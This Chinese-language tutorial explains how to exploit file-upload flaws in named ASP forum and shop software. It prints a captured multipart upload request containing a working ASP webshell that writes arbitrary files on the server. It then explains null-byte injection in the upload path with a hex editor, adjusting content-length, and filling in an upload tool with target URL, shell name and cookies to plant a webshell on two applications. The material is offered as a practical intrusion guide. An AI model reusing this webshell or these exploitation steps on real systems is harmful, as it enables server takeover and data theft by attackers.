当前位置:首页 > ASP教程 > ASP其他

实例分析ASP上传漏洞入侵实战及扩展

【上传漏洞欺骗技术】

  网络上许多程序都有着上传漏洞,比如任我飞扬整站程序、动感购物商城、秋叶商城、惠信新闻系统等。本文主要讲解上传漏洞的入侵实战以及一些扩展利用。首先我们要获得客户端和服务器之间传递的数据,事先准备好一个asp木马准备上传,当然不可能成功,我们要的就是这中间我们向服务器提交的数据。一般用wsockexpert来获得数据,由于数据太多只能把关键部分发出来如下:

  post /bbs/upfile.asp http/1.1

  ……. 省略了n多没用信息

content-length: 1792
connection: keep-alive
cache-control: no-cache
cookie: aspsessionidqqtdtatd=nldnnhpdjeehofnfbagpojkn
-----------------------------7d52191850242
content-disposition: form-data; name="filepath"

uploadface
-----------------------------7d52191850242
content-disposition: form-data; name="act"

upload
-----------------------------7d52191850242
content-disposition: form-data; name="file1"; filename="e:木马aspshell.asp"
content-type: text/plain

<% dim objfso %>
<% dim fdata %>
<% dim objcountfile %>
<% on error resume next %>
<% set objfso = server.createobject("scripting.filesystemobject") %>
<% if trim(request("syfdpath"))<>"" then %>
<% fdata = request("cyfddata") %>
<% set objcountfile=objfso.createtextfile(request("syfdpath"),true) %>
<% objcountfile.write fdata %>
<% if err =0 then %>
<% response.write "<font color=red><h2>成功!</h2><font>" %>
<% else %>
<% response.write "<font color=red><h1>失败!</h1></font>" %>
<% end if %>
<% err.clear %>
<% end if %>
<% objcountfile.close %>
<% set objcountfile=nothing %>
<% set objfso = nothing %>
<% response.write "<form action='''' method=post>" %>
<% response.write "保存留言<font color=red>如d:webx.asp</font>" %>
<% response.write "<input type=text name=syfdpath width=32 size=50>" %>
<% response.write "<br>" %>
<% response.write "地址来自" %>
<% =server.mappath(request.servervariables("script_name")) %>
<% response.write "<br>" %>
<% response.write "你的留言:" %>
<% response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>" %>
<% response.write "<input type=submit value=sky!!>" %>
<% response.write "</form>" %>

-----------------------------7d52191850242
content-disposition: form-data; name="fname"

e:木马aspshell.asp
-----------------------------7d52191850242
content-disposition: form-data; name="submit"

上传
-----------------------------7d52191850242--

  传递的信息我们获取了,下面就来修改下达到欺骗目的。主要修改一下几点:

  1.content-disposition: form-data; name="file1"; filename="e:木马aspshell.asp"

  2.content-disposition: form-data; name="fname"

  e:木马aspshell.asp

  3.最重要的地方是content-disposition: form-data; name="filepath"下面的值要修改下。我们修改成uploadfaceshell.asp后面怎么加一个空字符呢?用ultraedit是个好方法,用16进制编辑,(因为''''这个字符也占一个位置,所以我们先打入一空格,然后再在ultraedit(用ctrl+h转换到16进制模式下)里将就空格符的20改成00)。

  4.还有一个地方也要修改,就是这句content-length: 1792表示提交数据的字符个数。

  如果你修改了filepath的值那么这个长度1792也要变换,一个字母或者数字的长度就是1,不要忘记最后面那个空格那个也算1。

  【上传漏洞实战】 


  我们就先用漏洞的鼻祖动网论坛来实战下。从原理可以看到上传的时侯还要修改数据,还要截包,所以网上出现了许多的工具。现在我们直接用老兵的上传工具来把复杂的步骤变简单,只要修改几个数据就可以。我们来看下这个工具的界面

  我们来说下工具的用法:

  action中输入存在上传漏洞文件的url: http://target.net/bbs/upfile.asp;uppath里第一个文本框中的filepath即为表单中的filepath,也就是上传路径,等号后面填的是上传到对方服务器上的后门的名称/shell.asp;输入一个web程序允许上传的类型文本框中默认jpg就可以了(一般网站都允许上传jpg图片文件);file里第一个文本框中的file1即是表单中的file1,等号后面填写所要在本机上传的木马路径;cookies中填上我们用抓取数据包工具如wsockexpert抓取的cookies值,记住最好是你在系统中注册后的cookies值。

  这里以我们入侵动网论坛为例,这里action:填入http://www.***.com/bbs/upfile.asp;uppath第一个文本框填入:filepath;第二个填入:/shell.asp(你也可以写/bbs/shell.asp这样上传成功后就传到/bbs 目录下了!)输入一个web程序允许上传的类型文本框中默认jpg就好了;file第一个文本框输入:file1;第二个填入:e:木马aspshell.asp (这个asp木马是在自己机器上的路径,点后面的文件打开图标浏览找到asp木马即可。)

  cookies:这里不用抓包了,因为这里的上传根本不检测cookie的哦。没有它会报错的如果都填写好了直接按“submit”按键提交!

 

  当点击submit按钮后,最好用浏览器自己访问下,程序也会有误报的。我们用浏览器来访问下。



图3可以看到已经上传成功了

  下一步就是写入一个功能强大的木马来操作了,不再深入。

  【上传漏洞实战扩展】 


  并不仅仅只有动网有上传漏洞,在网络上许许多多的程序都有这个漏洞,上传漏洞的原理一样,掌握之后即可自由发挥,具体视程序代码而定。下面我们以乔客论坛为例为大家扩展一下上传漏洞的应用。
首先注册一个正常用户并且登录,然后找到上传页面地址:http://192.168.1.3/3/upload.asp?uppath=forum&upname=&uptext=jk_word查看源码如下:
--------------------------------------------------------------------------------

<form name=form1 action=?action=upfile method=post enctype=multipart/form-data>
<input type=hidden value=forum name=up_path>
<input type=hidden value=200593075710 name=up_name>
<input type=hidden value=jk_word name=up_text> 
<input type=file size=40 name=file_name1>
<input type=submit value=点击上传 name=submit>

--------------------------------------------------------------------------------

  看到源代码后,就应该知道老兵上传工具里边我们该怎么填写了。
action中输入:http://192.168.1.3/3/upload.asp?action=upfile uppath第一个文本框中输入:up_name;第二个中输入上传后的shell名称shell.asp;file 第一个文本框中输入file_name1,第二个是本机的木马文件。cookies这里填写抓包得到的cookies值,注意一定要填写用wsockexpert抓取的cookies信息,其主要功能是用来验证!

  都设置好后点击submit按钮,看到上传成功了,打开浏览器访问一下看是否成功,

  至此已经成功的拿到webshell,就是这么简单,重要的是我们的思路要灵活,也要善于发现一个系统是否存在上传漏洞。当然至于拿到webshell后你能做什么,就看服务器的安全配置以及你的个人水平了哦,这里不做讨论。


【说明】本文章由站长整理发布,文章内容不代表本站观点,如文中有侵权行为,请与本站客服联系(QQ:)!